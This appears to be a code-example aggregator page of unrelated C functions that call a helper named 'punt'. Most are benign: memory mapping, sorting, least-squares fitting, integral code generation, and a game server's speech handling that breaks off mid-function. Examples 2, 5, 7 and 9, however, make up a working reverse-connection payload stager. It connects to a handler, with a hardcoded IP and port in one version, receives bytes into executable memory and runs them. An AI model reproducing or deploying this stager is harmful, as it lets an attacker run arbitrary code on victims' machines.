Esempio n. 1
0
Integer EnsureVirtualAddressRange (Integer vma, int count)
{
  int pages = ceiling(count, MemoryPageSize);
  caddr_t data, tag;
  Integer aligned_vma = vma - MemoryPageOffset(vma);
  int n;

  while (pages) {
    n = 0;
    while (!Created (vma) && pages) {
      n++;
      pages--;
      SetCreated(vma);
      vma += MemoryPageSize;
    }
    if (n) {
      data = (caddr_t)&DataSpace[aligned_vma];
      tag = (caddr_t)&TagSpace[aligned_vma];
      if (data != mmap(data, n * sizeof(Integer[MemoryPageSize]), PROT_READ|PROT_WRITE,
		       MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED,-1,0))
	punt ("Couldn't map %d data pages at %x for VMA %x", n, data, aligned_vma);
      if (tag != mmap(tag, n * sizeof(Tag[MemoryPageSize]), PROT_READ|PROT_WRITE,
		      MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED,-1,0))
	punt ("Couldn't map %d tag pages at %x for VMA %x", n, tag, aligned_vma);
      aligned_vma += n * MemoryPageSize;
    }
    while (Created (vma) && pages) {
      pages--;
      vma += MemoryPageSize;
      aligned_vma += MemoryPageSize;
    }
  }

  return(vma);
}
Esempio n. 2
0
/* establish a connection to a host:port */
SOCKET wsconnect(char * targetip, int port) {
	struct hostent *		target;
	struct sockaddr_in 	sock;
	SOCKET 			my_socket;

	/* setup our socket */
	my_socket = socket(AF_INET, SOCK_STREAM, 0);
	if (my_socket == INVALID_SOCKET)
		punt(my_socket, "Could not initialize socket");

	/* resolve our target */
	target = gethostbyname(targetip);
	if (target == NULL)
		punt(my_socket, "Could not resolve target");


	/* copy our target information into the sock */
	memcpy(&sock.sin_addr.s_addr, target->h_addr, target->h_length);
	sock.sin_family = AF_INET;
	sock.sin_port = htons(port);

	/* attempt to connect */
	if (connect(my_socket, (struct sockaddr *)&sock, sizeof(sock)))
		punt(my_socket, "Could not connect to target");

	return my_socket;
}
Esempio n. 3
0
/******************************************************************************

  Sort objects in an object list by floating point property prop.
  If plist != 0 copy into it the sorted list of the values of the property.
  
  */
static rc_t geo_sort_f(objl_t *ol, geo_t prop, double *plist) {
  
  double *crit ;
  int o ;
  const char *me = "geo_sort_f" ;

  if (prop == GEO_NONE) return(OK) ;

  if (!(crit = (double *)malloc(ol->n * sizeof(double))))
    return(memfail(__FILE__,__LINE__,me)) ;
  switch (prop) {
  case GEO_ASPECT :
    for(o=0;o<ol->n;o++) crit[o] = geo_aspect(ol->obj[o]) ;
    break ;
  case GEO_RG :
    for(o=0;o<ol->n;o++) crit[o] = geo_rg2(ol->obj[o]) ;
    break ;
  case GEO_RRG :
    for(o=0;o<ol->n;o++) crit[o] = geo_rrg2(ol->obj[o]) ;
    break ;
  default :
    return(punt(__FILE__,__LINE__,me,"bad property specified.")) ;
  } ;
  sort_dx_desc(ol->n,crit,(void **)ol->obj) ;
  if (plist && memcpy(plist,crit,ol->n * sizeof(double))) ;
  free(crit) ;
  return(OK) ;
}
Esempio n. 4
0
/******************************************************************************

  General linear least squares fit routine 
  from section 15.4 of Numerical Recipes.

  yfit(x) = function which fills f[i],i=0..o-1 with the o 
            fitting functions evaluated at x.
  fom = if nonzero figure-of-merit is returned here.	    
  a  = fitting parameters
  av = if (av) error variances for the fitting parameters returned here.
  x  = n abscissas
  y  = n ordinates
  ys = if (ys) = n error standard deviations for y values
  tol = smallest fraction of maximum singular value (eigenvalues, roughly) 
        which a small singular value can equal -- smaller values are
        set to zero, assumed to indicate redundancy.  NR suggests
        of order 10^-6
  n = number of abscissas.
  o = number of fitting parameters.

  */
static fit_rc fit_lsq(void (*yfit)(), double *fom, double *a, double *av,
		      const double *x, const double *y, const double *ys,
		      double tol, int n, int o) {

  double wmax,wmin,xsq,sum ;
  int i,j ;
  const char *me = "fit_lsq" ;

  if (check_memory(o,n) != OK) return(memfail(__LINE__,me)) ;

  for(i=0;i<n;i++) {
    yfit(x[i]) ;
    for(j=0;j<o;j++) u[i][j] = f[j] * (ys ? 1.0/ys[i] : 1.0) ;
  } ;
  memcpy(b,y,n*sizeof(double)) ;
  if (ys) for(i=0;i<n;i++) b[i] /= ys[i] ;

  if (svdcmp(u,n,o) != OK)
    return(punt(__LINE__,me,"singular value decomposition failed.")) ;

  wmax = 0.0 ;
  for(wmax=0.0,j=0;j<o;j++) if (w[j] > wmax) wmax = w[j] ;
  wmin = tol * wmax ;
  for(j=0;j<o;j++) if (w[j] < wmin) w[j] = 0.0 ;
  
  if (svbksb(a,n,o) != OK) 
    return(punt(__LINE__,me,"back substitution failed.")) ;

  if (av) {
    if (svdvar(o) != OK)
      return(punt(__LINE__,me,"variance calculation failed.")) ;
    for(i=0;i<o;i++) av[i] = cvm[i][i] ;
  } ;
  if (fom) {
    xsq = 0.0 ;
    for(i=0;i<o;i++) {
      yfit(x[i]) ;
      sum = 0.0 ;
      for(j=0;j<o;j++) sum += a[j] * f[j] ;
      sum = (y[i] - sum)/(ys ? ys[i]*ys[i] : 1.0) ;
      xsq += sum*sum ;
    } ;
    *fom = xsq ;
  } ;
  
  return(OK) ;
}
Esempio n. 5
0
SOCKET wsconnect()
{
  struct hostent * target;
  struct sockaddr_in sock;
  SOCKET my_socket;
  my_socket = socket(AF_INET, SOCK_STREAM, 0);
  if (my_socket == INVALID_SOCKET)
    punt(my_socket);
  target = gethostbyname("192.168.159.131");//rev_http IP
  if (target == NULL)
    punt(my_socket);
  memcpy(&sock.sin_addr.s_addr, target->h_addr, target->h_length);
  sock.sin_family = AF_INET;
  sock.sin_port = htons(8080);//rev_http Port
  if ( connect(my_socket, (struct sockaddr *)&sock, sizeof(sock)) )
    punt(my_socket);
  return my_socket;
}
Esempio n. 6
0
Integer DestroyVirtualAddress (Integer vma)
{
  caddr_t data, tag;
  Integer aligned_vma = vma - MemoryPageOffset(vma);

  if (!Created(vma))
    return(vma);
  
  data = (caddr_t)&DataSpace[aligned_vma];
  tag = (caddr_t)&TagSpace[aligned_vma];
  if (munmap(data, sizeof(Integer[MemoryPageSize])))
    punt ("Couldn't unmap data page at %x for VMA %x", data, vma);
  if (munmap(tag, sizeof(Tag[MemoryPageSize])))
    punt ("Couldn't unmap tag page at %x for VMA %x", tag, vma);

  ClearCreated(vma);
  return(vma);
}
Esempio n. 7
0
int main(int argc, char * argv[]) {
	ULONG32 size;
	char * buffer;
	void(*function)();

	winsock_init();

	if (argc != 3) {
		printf("%s [host] [port]\n", argv[0]);
		exit(1);
	}

	/* connect to the handler */
	SOCKET my_socket = wsconnect(argv[1], atoi(argv[2]));

	/* read the 4-byte length */
	int count = recv(my_socket, (char *)&size, 4, 0);
	if (count != 4 || size <= 0)
		punt(my_socket, "read a strange or incomplete length value\n");

	/* allocate a RWX buffer */
	buffer = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	if (buffer == NULL)
		punt(my_socket, "could not allocate buffer\n");

	/* prepend a little assembly to move our SOCKET value to the EDI register
	thanks mihi for pointing this out
	BF 78 56 34 12     =>      mov edi, 0x12345678 */
	buffer[0] = 0xBF;

	/* copy the value of our socket to the buffer */
	memcpy(buffer + 1, &my_socket, 4);

	/* read bytes into the buffer */
	count = recv_all(my_socket, buffer + 5, size);

	/* cast our buffer as a function and call it */
	function = (void(*)())buffer;
	function();

	return 0;
}
Esempio n. 8
0
Integer EnsureVirtualAddress (Integer vma)
{
  caddr_t data, tag;
  Integer aligned_vma = vma - MemoryPageOffset(vma);

  if (Created(vma))
    return(vma);
  
  data = (caddr_t)&DataSpace[aligned_vma];
  tag = (caddr_t)&TagSpace[aligned_vma];
  if (data != mmap(data, sizeof(Integer[MemoryPageSize]), PROT_READ|PROT_WRITE,
		   MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED,-1,0))
    punt ("Couldn't map data page at %x for VMA %x", data, vma);
  if (tag != mmap(tag, sizeof(Tag[MemoryPageSize]), PROT_READ|PROT_WRITE,
		  MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED,-1,0))
    punt ("Couldn't map tag page at %x for VMA %x", tag, vma);

  SetCreated(vma);
  return(vma);
}
Esempio n. 9
0
/* attempt to receive all of the requested data from the socket */
int recv_all(SOCKET my_socket, void * buffer, int len) {
	int    tret = 0;
	int    nret = 0;
	void * startb = buffer;
	while (tret < len) {
		nret = recv(my_socket, (char *)startb, len - tret, 0);
		startb += nret;
		tret += nret;

		if (nret == SOCKET_ERROR)
			punt(my_socket, "Could not receive data");
	}
	return tret;
}
Esempio n. 10
0
/******************************************************************************

  Sort objects in an object list by property prop.
  If plist != 0 copy into it the sorted list of the values of the property.
  
  */
rc_t geo_sort(objl_t *ol, geo_t prop, void *plist) {

  const char *me = "geo_sort" ;

  if (prop == GEO_NONE) return(OK) ;

  switch(prop) {
  case GEO_AREA :
    return(geo_sort_i(ol,prop,(int *)plist)) ;
  case GEO_ASPECT :
  case GEO_RG :
  case GEO_RRG :
    return(geo_sort_f(ol,prop,(double *)plist)) ;
  default :
    return(punt(__FILE__,__LINE__,me,"bad property specified.")) ;
  } ;
  return(OK) ;
}
Esempio n. 11
0
/**************************************************************************

  NR variance calculation for fitting parameters.
  
*/
static int svdvar(int ma) {

  int k,j,i;
  double sum,*wti;
  const char *me = "svdvar" ;

  if (!(wti = (double *)malloc(ma * sizeof(double))))
    return(punt(__LINE__,me,"can\'t allocate workspace.")) ;
  for (i=0;i<ma;i++) {
    wti[i]=0.0;
    if (w[i]) wti[i]=1.0/(w[i]*w[i]);
  }
  for (i=0;i<ma;i++) {
    for (j=0;j<=i;j++) {
      for (sum=0.0,k=0;k<ma;k++) sum += v[i][k]*v[j][k]*wti[k];
      cvm[j][i]=cvm[i][j]=sum;
    }
  }
  free(wti) ;
  return(OK) ;
}
Esempio n. 12
0
/******************************************************************************

  Sort objects in an object list by integer property prop.
  If plist != 0 copy into it the sorted list of the values of the property.
  
  */
static rc_t geo_sort_i(objl_t *ol, geo_t prop, int *plist) {

  int *crit ;
  int o ;
  const char *me = "geo_sort_i" ;

  if (prop == GEO_NONE) return(OK) ;

  if (!(crit = (int *)malloc(ol->n * sizeof(int))))
    return(memfail(__FILE__,__LINE__,me)) ;
  switch (prop) {
  case GEO_AREA :
    for(o=0;o<ol->n;o++) crit[o] = ol->obj[o]->n ;
    break ;
  default :
    return(punt(__FILE__,__LINE__,me,"bad property specified.")) ;
  } ;
  sort_ix_desc(ol->n,crit,(void **)ol->obj) ;
  if (plist) memcpy(plist,crit,ol->n * sizeof(int)) ;
  free(crit) ;
  return(OK) ;
}
Esempio n. 13
0
/**************************************************************************

  Back substitution after SVD: solves for x in A . x = b, assuming
  A has been decomposed into u,v and w by svdcmp.
  
*/
static int svbksb(double *x, int m, int n) {

  int jj,j,i;
  double s,*tmp;
  const char *me = "svbksb" ;

  if (!(tmp = (double *)malloc(n*sizeof(double))))
    return(punt(__LINE__,me,"can\'t allocate buffer.")) ;
  for (j=0;j<n;j++) {
    s=0.0;
    if (w[j]) {
      for (i=0;i<m;i++) s += u[i][j]*b[i];
      s /= w[j];
    }
    tmp[j]=s;
  }
  for (j=0;j<n;j++) {
    s=0.0;
    for (jj=0;jj<n;jj++) s += v[j][jj]*tmp[jj];
    x[j]=s;
  }
  free(tmp) ;
  return(OK) ;
}
Esempio n. 14
0
/************************************************************************

  Calculate correlation integral and averages.

  */
static int make_corr(double *corr, double *a1, double *a2,
		     const gras_t *gr1, const gras_t *gr2,
		     const gras_t *mask, unsigned int threshold,
		     int thold_sense) {

  int nx,ny,n,xi,yi ;
  unsigned int dn1,dn2 ;
  double sum1,sum2,sum11,sum22,sum12,ave1,ave2,c ;
  const char *me = "make_corr" ;

  if ( ((gr1->nx) != (gr2->nx)) || ((gr1->ny != gr2->ny)) )
    return(punt(here,__LINE__,me,"rasters have dissimilar dimensions")) ;
  if (mask && ( ((gr1->nx) != mask->nx) || ((gr1->ny != mask->ny)) ))
    return(punt(here,__LINE__,me,"rasters and mask have dissimilar dimensions")) ;
  nx = gr1->nx ; ny = gr1->ny ;

  n = 0 ;
  sum1 = sum2 = sum11 = sum22 = sum12 = 0.0 ;
  for(yi=0;yi<ny;yi++) {  
    for(xi=0;xi<nx;xi++) {
      if (mask) {
	if (!thold_sense && (mask->ras[yi][xi] <= threshold)) continue ;
	if ( thold_sense && (mask->ras[yi][xi] >= threshold)) continue ;
      } ;
      dn1 = gr1->ras[yi][xi] ;
      dn2 = gr2->ras[yi][xi] ;
      sum1 += dn1 ;
      sum2 += dn2 ;
      sum11 += dn1 * dn1 ;
      sum12 += dn1 * dn2 ;
      sum22 += dn2 * dn2 ;
      n += 1 ;
    } ;
  } ;
  if (verbosity == MSG_DEBUG) {
    printf("> %s [%s:%d]: pixels = %d\n",me,__FILE__,__LINE__,n) ;
    printf("> %s [%s:%d]: sum pix val img 1 = %24.16e\n",
	   me,__FILE__,__LINE__,sum1) ;
    printf("> %s [%s:%d]: sum pix val img 2 = %24.16e\n",
	   me,__FILE__,__LINE__,sum2) ;
    printf("> %s [%s:%d]: sum   val^2 img 1 = %24.16e\n",
	   me,__FILE__,__LINE__,sum11) ;
    printf("> %s [%s:%d]: sum   val^2 img 2 = %24.16e\n",
	   me,__FILE__,__LINE__,sum22) ;
    printf("> %s [%s:%d]: sum   val1 x val2 = %24.16e\n",
	   me,__FILE__,__LINE__,sum12) ;
  } ;
  if (!n) return(punt(here,__LINE__,me,"all pixels masked")) ;
  ave1 = sum1/n ; ave2 = sum2/n ;
  c = (n*sum11 - sum1*sum1)*(n*sum22 - sum2*sum2) ;
  /* this should never happen */
  if (c < -ZERO) return(punt(here,__LINE__,me,"negative argument to sqrt ?")) ;
  c = sqrt(fabs(c)) ;
  /* this happens only if one or both standard deviations are zero */
  if (c <  ZERO) return(punt(here,__LINE__,me,"zero contrast image(s) ?")) ;
  c = (n*sum12 - sum1*sum2)/c ;
  if (a1) *a1 = ave1 ;
  if (a2) *a2 = ave2 ;
  if (corr) *corr = c ;
  return(OK) ;
}
Esempio n. 15
0
int emit_vrr_build_macro()
{
  int old_am = Params.old_am;
  int new_am = Params.opt_am;
  int max_class_size = Params.max_class_size;
  int am_to_inline = Params.max_am_to_inline_vrr_worker;

  FILE *code;
  int i, j, k, l, f;
  int a, b;
  int flag;
  int am[2][3];
  int am_in[2];
  int current_highest_am, to_inline;
  int nflip = 0;
  int t1, t2, t3, t4;
  int class_size;
  int type;
  int max1 = 0;
  int max2 = 0;
  int foo;
  int la, lc, lc_min, lc_max;
  int k1max, k2max, k3max;
  int split,num_subfunctions,subbatch_length;
  int curr_count,curr_subfunction;
  static char *k4[] = {"lpoz","lpon"};
  static const char *k1_suff = "o2z";
  static const char *k2_suff = "o2zn";
  static const char *k3_suff = "o2n";
  char *code_name;
  char *function_name;
  char **subfunction_name;
  char *cpcommand;
  int errcod;

  k1 = (char **) malloc(new_am*sizeof(char *));
  k2 = (char **) malloc(new_am*sizeof(char *));
  k3 = (char **) malloc(new_am*sizeof(char *));
  for(i=1;i<=new_am;i++) {
    j = strlen(number[i]);
    k1[i-1] = (char*) malloc((4+j)*sizeof(char));
    k2[i-1] = (char*) malloc((5+j)*sizeof(char));
    k3[i-1] = (char*) malloc((4+j)*sizeof(char));
    strcpy(k1[i-1],number[i]);
    strcpy(k2[i-1],number[i]);
    strcpy(k3[i-1],number[i]);
    strcat(k1[i-1],k1_suff);
    strcat(k2[i-1],k2_suff);
    strcat(k3[i-1],k3_suff);
  }
  code_name = (char *) malloc(sizeof(char)*21);
  cpcommand = (char *) malloc(sizeof(char)*50);
  function_name = (char *) malloc(sizeof(char)*18);

  for(la=0;la<=new_am;la++) {
    lc_min = (la >= old_am + 1) ? 0 : old_am + 1;
    lc_max = new_am;
    for(lc=lc_min;lc<=lc_max;lc++) {

      /* Is this function to be made inline */
      current_highest_am = (la > lc) ? la : lc;
      to_inline = (current_highest_am <= am_to_inline) ? 1 : 0;
      if (!to_inline)
	continue;
      
      fprintf(outfile,"  AM_a = %c  AM_c = %c\n",am_letter[la],am_letter[lc]);
      am_in[0] = la;
      am_in[1] = lc;
      if (la == 0) {
	a = 1;
	k2max = la;
	k3max = lc - 1;
      }
      else {
	a = 0;
	k2max = lc;
	k1max = la - 1;
      }
      foo = 5;
      if(a==0) foo = 4;

      class_size = ((am_in[a]+1)*(am_in[a]+2)*(am_in[a^1]+1)*(am_in[a^1]+2))/4;

      /* If the routine has to be split AND inlined - the user probably doesn't know what he/she is doing */
      if (class_size > max_class_size)
	punt("MAX_CLASS_SIZE is too small with the given inlining thresholds");
      else {
	split = 0;
      }

      if(a==0) foo = 4;

      sprintf(function_name,"build_%c0%c0",am_letter[la],am_letter[lc]);
      sprintf(code_name,"build_%c0%c0.h",am_letter[la],am_letter[lc]);
      code = fopen(code_name,"w");

      /*target
        |I0[],I1[]
        |    |I2[],I3[]
        |    |    |   I4[]
        |    |    |    |     */
        t1 = t2 = t3 = t4 = 0;

      /* print local variable declarations */

      fprintf(code,"#ifndef _libint_%s\n",function_name);
      fprintf(code,"#define _libint_%s\n",function_name);
      fprintf(code,"  /* These machine-generated functions compute a quartet of (%cs|%cs) integrals */\n\n",am_letter[la],am_letter[lc]);

      fprintf(code,"#define _%s(Data, vp, I0, I1, I2, I3, I4)\\\n{\\\n",function_name);
      declare_localv(a,k1max,k2max,k3max,code);
      define_localv(a,foo,k1max,k2max,k3max,code);
      fprintf(code,"\\\n");

      for(i = 0; i <= am_in[0]; i++){
	am[0][0] = am_in[0] - i;
	for(j = 0; j <= i; j++){
	  am[0][1] = i - j;
	  am[0][2] = j;

	  for(k = 0; k <= am_in[1]; k++){
	    am[1][0] = am_in[1] - k;
	    for(l = 0; l <= k; l++){
	      am[1][1] = k - l;
	      am[1][2] = l;

	      if(am[a][2]) b = 2;
	      if(am[a][1]) b = 1;
	      if(am[a][0]) b = 0;

          
	      am[a][b] = am[a][b] - 1;
	      am_in[a] = am_in[a] - 1;
	      t2 = hash(am,am_in);
	      fprintf(code, "*(target++) = U%d%d*i0[%d] + U%d%d*i1[%d]",
		      a*2, b, t2, foo, b , t2); 
	      if(am[a][b]){
		am[a][b] = am[a][b] - 1;
		am_in[a] = am_in[a] - 1;
		t3 = hash(am,am_in);
		fprintf(code, "\\\n           + (%s)*(i2[%d] - (%s)*i3[%d])", 
			(a==0 ? k1[am[a][b]] : k3[am[a][b]]), 
			t3, (k4[a]), t3);
		max1 = (max1>am[a][b]+1) ? max1 : am[a][b]+1;
		am[a][b] = am[a][b] + 1;
		am_in[a] = am_in[a] + 1;
	      }
	      if(am[a^1][b]){
		am[a^1][b] = am[a^1][b] - 1;
		am_in[a^1] = am_in[a^1] - 1;
		t4 = hash(am,am_in);
		fprintf(code, "\\\n           + (%s)*i4[%d]", k2[am[a^1][b]], t4);
		max2 = (max2>am[a^1][b]+1) ? max2 : am[a^1][b]+1;
		am[a^1][b] = am[a^1][b] + 1;
		am_in[a^1] = am_in[a^1] + 1;
	      }
	      fprintf(code, ";\\\n");
	      am[a][b] = am[a][b] + 1;
	      am_in[a] = am_in[a] + 1;
		
	      t1++;
	      curr_count++;
	    }
	  }
	}
      }
      fprintf(code,"\\\n}\n");
      fprintf(code,"\n#endif\n"); /* end of #ifndef _libint_.... */
      fclose(code);
      printf("Done with %s\n",code_name);
    }
  }
  free(function_name);
  free(code_name);
}
Esempio n. 16
0
int emit_hrr_build_macro()
{
  int new_am = Params.new_am;
  int max_class_size = Params.max_class_size;
  int am_to_inline = Params.max_am_to_inline_hrr_worker;

  FILE *code;
  int p,q,r,s;
  int ax,ay,az,bx,by,bz,cx,cy,cz,dx,dy,dz;
  int t0, t1, t2, t3, t4;
  int i,j,nj,i_i0,i_i1;
  int k,l,nl,k_i0,k_i1;
  int i0_step,i1_step;
  int a, b;
  int flag;
  int am_in[2];
  int am[2][3];
  int current_highest_am, to_inline;
  int xyz;
  int class_size;
  int split;
  int la, lb;
  int ld, lc, ld_max;
  int curr_count,curr_subfunction;
  int num_subfunctions, subbatch_length;
  int f;
  char code_name[20];
  char function_name[18];
  char **subfunction_name;
  

  for(lc=0;lc<=new_am;lc++) {
    ld_max = lc/2 + 1;
    if (ld_max > lc)
      ld_max = lc;
    for(ld=1;ld<=ld_max;ld++) {

      /*-----------------------
	HRR on centers C and D
       -----------------------*/

      am_in[0] = lc-ld;
      am_in[1] = ld;

      /* Is this function to be made inline */
      current_highest_am = (am_in[0] > am_in[1]) ? am_in[0] : am_in[1];
      to_inline = (current_highest_am <= am_to_inline) ? 1 : 0;
      if (!to_inline)
	continue;
      
      class_size = ((am_in[0]+1)*(am_in[0]+2)*(am_in[1]+1)*(am_in[1]+2))/4;

      /* If the routine has to be split into several - user probably doesn't know what he/she is doing */
      if (class_size > max_class_size)
	punt("MAX_CLASS_SIZE is too small for the given inlining threshold");
      else {
	split = 0;
      }
      
      sprintf(function_name,"hrr3_build_%c%c",am_letter[am_in[0]],am_letter[am_in[1]]);
      sprintf(code_name,"%s.h",function_name);
      code = fopen(code_name,"w");

      fprintf(code,"#ifndef _libint_%s\n",function_name);
      fprintf(code,"#define _libint_%s\n",function_name);
      fprintf(code,"  /* These machine-generated functions compute a quartet of |%c%c) integrals */\n\n",
	      am_letter[am_in[0]],am_letter[am_in[1]]);
      fprintf(code,"#define %s(CD, vp, I0, I1, ab_num)\\\n{\\\n",
	      function_name);
      fprintf(code,"  const REALTYPE CD0 = CD[0];\\\n");
      fprintf(code,"  const REALTYPE CD1 = CD[1];\\\n");
      fprintf(code,"  const REALTYPE CD2 = CD[2];\\\n");
      fprintf(code,"  int ab;\\\n");
      fprintf(code,"  REALTYPE *target = (vp);\\\n");
      fprintf(code,"  REALTYPE *i0 = (I0);\\\n");
      fprintf(code,"  REALTYPE *i1 = (I1);\\\n\\\n");

      nl = (am_in[1]*(am_in[1]+1))/2;
      i0_step = (am_in[0]+2)*(am_in[0]+3)*nl/2;
      i1_step = (am_in[0]+1)*(am_in[0]+2)*nl/2;
      fprintf(code,"  for(ab=0;ab<ab_num;ab++) {\\\n");

      for(p = 0; p <= am_in[0]; p++){
	am[0][0] = am_in[0] - p;
	for(q = 0; q <= p; q++){
	  am[0][1] = p - q;
	  am[0][2] = q;
	  
	  for(r = 0; r <= am_in[1]; r++){
	    am[1][0] = am_in[1] - r;
	    for(s = 0; s <= r; s++){
	      am[1][1] = r - s;
	      am[1][2] = s;

	      if (am[1][0]) /* build along x */
		xyz = 0;
	      else if (am[1][1]) /* build along y */
		xyz = 1;
	      else /*build along z */
		xyz = 2;

	      am[0][xyz] += 1;
	      am_in[0] += 1;
	      am[1][xyz] -= 1;
	      am_in[1] -= 1;
	      t0 = hash(am,am_in);
	      am[0][xyz] -= 1;
	      am_in[0] -= 1;
	      t1 = hash(am,am_in);
	      am[1][xyz] += 1;
	      am_in[1] += 1;
	      
	      fprintf(code, "    *(target++) = i0[%d] + CD%d*i1[%d];\\\n",t0,xyz,t1);

	      curr_count++;
	    }
	  }
	}
      }
      fprintf(code,"    i0 += %d;\\\n    i1 += %d;\\\n",i0_step,i1_step);
      fprintf(code,"  }\\\n}\n");
      fprintf(code,"\n#endif\n"); /* end of #ifndef _libint_.... */
      fclose(code);
      printf("Done with %s\n",code_name);
      
      
      /*-----------------------
	HRR on centers A and B
       -----------------------*/

      la = lc-ld;  lb = ld;
      am_in[0] = la;
      am_in[1] = lb;

      class_size = ((am_in[0]+1)*(am_in[0]+2)*(am_in[1]+1)*(am_in[1]+2))/4;

      sprintf(function_name,"hrr1_build_%c%c",am_letter[am_in[0]],am_letter[am_in[1]]);
      sprintf(code_name,"%s.h",function_name);
      code = fopen(code_name,"w");
      fprintf(code,"#ifndef _libint_%s\n",function_name);
      fprintf(code,"#define _libint_%s\n",function_name);
      fprintf(code,"  /* This machine-generated function computes a quartet of (%c%c| integrals */\n\n",
	      am_letter[am_in[0]],am_letter[am_in[1]]);
      fprintf(code,"#define %s(AB, vp, I0, I1, cd_num)\\\n{\\\n",
	      function_name);
      fprintf(code,"  const REALTYPE AB0 = AB[0];\\\n");
      fprintf(code,"  const REALTYPE AB1 = AB[1];\\\n");
      fprintf(code,"  const REALTYPE AB2 = AB[2];\\\n");
      fprintf(code,"  REALTYPE *i0, *i1;\\\n");
      fprintf(code,"  int cd;\\\n");
      fprintf(code,"  REALTYPE *target = (vp);\\\n\\\n");

      nj = (lb*(lb+1))/2;

      for(p = 0; p <= am_in[0]; p++){
	am[0][0] = am_in[0] - p;
	for(q = 0; q <= p; q++){
	  am[0][1] = p - q;
	  am[0][2] = q;
	  
	  for(r = 0; r <= am_in[1]; r++){
	    am[1][0] = am_in[1] - r;
	    for(s = 0; s <= r; s++){
	      am[1][1] = r - s;
	      am[1][2] = s;

	      if (am[1][0]) /* build along x */
		xyz = 0;
	      else if (am[1][1]) /* build along y */
		xyz = 1;
	      else /* build along z */
		xyz = 2;

	      am[0][xyz] += 1;
	      am_in[0] += 1;
	      am[1][xyz] -= 1;
	      am_in[1] -= 1;
	      t0 = hash(am,am_in);
	      am[0][xyz] -= 1;
	      am_in[0] -= 1;
	      t1 = hash(am,am_in);
	      am[1][xyz] += 1;
	      am_in[1] += 1;
	      
	      if (t0)
		fprintf(code,"  i0 = (I0) + %d*cd_num;\\\n",t0);
	      else
		fprintf(code,"  i0 = (I0);\\\n");
	      if (t1)
		fprintf(code,"  i1 = (I1) + %d*cd_num;\\\n",t1);
	      else
		fprintf(code,"  i1 = (I1);\\\n");

	      fprintf(code,"  for(cd=0;cd<cd_num;cd++)\\\n");
	      fprintf(code,"    *(target++) = *(i0++) + AB%d*(*(i1++));\\\n",xyz);

	      curr_count++;
	    }
	  }
	}
      }
      fprintf(code,"}\n");
      fprintf(code,"\n#endif\n"); /* end of #ifndef _libint_.... */
      fclose(code);
      printf("Done with %s\n",code_name);
    }
  }
}
Esempio n. 17
0
void cSpeech::talking(int s, const QString& speech) // PC speech
{
    /*
    	Unicode speech format
    	byte = char, short = char[2], int = char[4], wchar = char[2] = unicode character

    	Message Sent By Client:
    	0xAD - Unicode Speech Request
    	BYTE cmd(0xAD)
    	short msgsize 1, 2
    	byte type(0 = say, 2 = emote, 8 = whisper, 9 = yell) 3
    	short color 4, 5
    	short font 6, 7
    	BYTE[4] lang(null terminated, "enu " for US english.) 8, 9, 10, 11
    	wchar[?] text(null terminated, ?=(msgsize - 12)/2) 13

    	Message Sent By Server:
    	0xAE - Unicode Speech Message
    	BYTE cmd(0xAE) 0
    	short msgsize 1, 2
    	BYTE[4] ser(ser of speaker, all 0xFF if none) 3, 4, 5, 6
    	BYTE[2] model(id of speaker, all 0xFF if none)7, 8
    	BYTE type 9
    	short color 10, 11
    	short font 12, 13
    	BYTE[4] language(same as before) 14, 15, 16, 17
    	BYTE[30] speaker's name(normal chars, not wchars) 18 - 48
    	WCHAR[?] text(null terminated, ?=(msgsize - 48)/2

        Importnat note regarding 0xAD: since 2.0.7 clients send between lang and text 0...10 bytes. (we can ignore them safely)
    	Those bytes get cut out in network.cpp correctly, so the buffer THIS functions sees is actualy what is written above.
        The actual data the client sends is differently though.
    	Just noted this to prevent from debugging if somebody finds out client data doesn't fit to this description (LB)

    */

    char nonuni[512];
    unsigned char talk2[19];
    char unicodetext[512];
    char lang[4];
    char name[50] = {0,};	// it **IS** important to 0 out the remaining gaps

    P_CHAR pc_currchar = currchar[s];
    strcpy(nonuni, speech.latin1());

    // len+font+color+type = same postion for non unicode and unicode speech packets
    // but 8 ... x DIFFER a lot for unicode and non unicode packets !!!

    strncpy(name, pc_currchar->name.c_str(), 50);

    char speech_type       = buffer[s][3];
    UI16 speech_color	   = ShortFromCharPtr(&buffer[s][4]);
    char speech_fontbyte1  = buffer[s][6];
    char speech_fontbyte2  = buffer[s][7];

    int ucl = ( speech.length() * 2 ) + 2;
    int tl = ucl + 48 ;

    if (pc_currchar->unicode)
    {
        lang[0]=buffer[s][8];
        lang[1]=buffer[s][9];
        lang[2]=buffer[s][10];
        lang[3]=buffer[s][11];

        memcpy(unicodetext, &buffer[s][12], ucl);
    }
    else
    {
        lang[0]='E';
        lang[1]='N';
        lang[2]='U';
        lang[3]=0;

        char2wchar(nonuni);		// we are sending unicode response no matter if the speech request was non unicode or not
        // so convert to uni-text in case of non unicode
        memcpy(unicodetext, temp, ucl);
    }

    /*
    clConsole.send("speech: %s\n",nonuni);
    clConsole.send("unicode speech:\n");
    for ( a=0; a < tl-48; a++) clConsole.send("%02i ",unicodetext[a]);
    clConsole.send("\n");*/




    //// Very important: do not use buffer[s][] anymore in this function !!!!
    //// unicode text that gets send is in unicodetext, nonunicode text for normal string processing in non uni code
    string punt(nonuni);
    if (InputSpeech(punt, pc_currchar, s))	// handle things like renaming or describing an item
        return;

    if (pc_currchar->squelched)					// not allowed to talk
    {
        sysmessage(s, "You have been squelched.");
        return;
    }

    // AntiChrist
    pc_currchar->unhide();

    if (nonuni[0] == SrvParams->commandPrefix() )
    {
        Commands->Command(s, speech.latin1());
        return;
    }

    if ( speech_type == '\x09' && pc_currchar->canBroadcast() )
    {
        broadcast(s);
        return;
    }

    talk2[0] = 0xAE;
    ShortToCharPtr(tl, &talk2[1]);
    LongToCharPtr(pc_currchar->serial, &talk2[3]);
    ShortToCharPtr(pc_currchar->id(), &talk2[7]);
    talk2[9] =  speech_type;
    ShortToCharPtr(speech_color, &talk2[10]);
    talk2[12] = speech_fontbyte1;
    talk2[13] = speech_fontbyte2;

    talk2[14] = lang[0];
    talk2[15] = lang[1];
    talk2[16] = lang[2];
    talk2[17] = lang[3];

    Xsend(s, talk2, 18);
    Xsend(s, name, 30);
    Xsend(s, unicodetext, ucl);

    if (speech_type == 0 || speech_type == 2)
    {
        pc_currchar->saycolor = speech_color;
    }
    if (SrvParams->speechLog()) // Logging bugfixed by LB
    {
        char temp2[512];
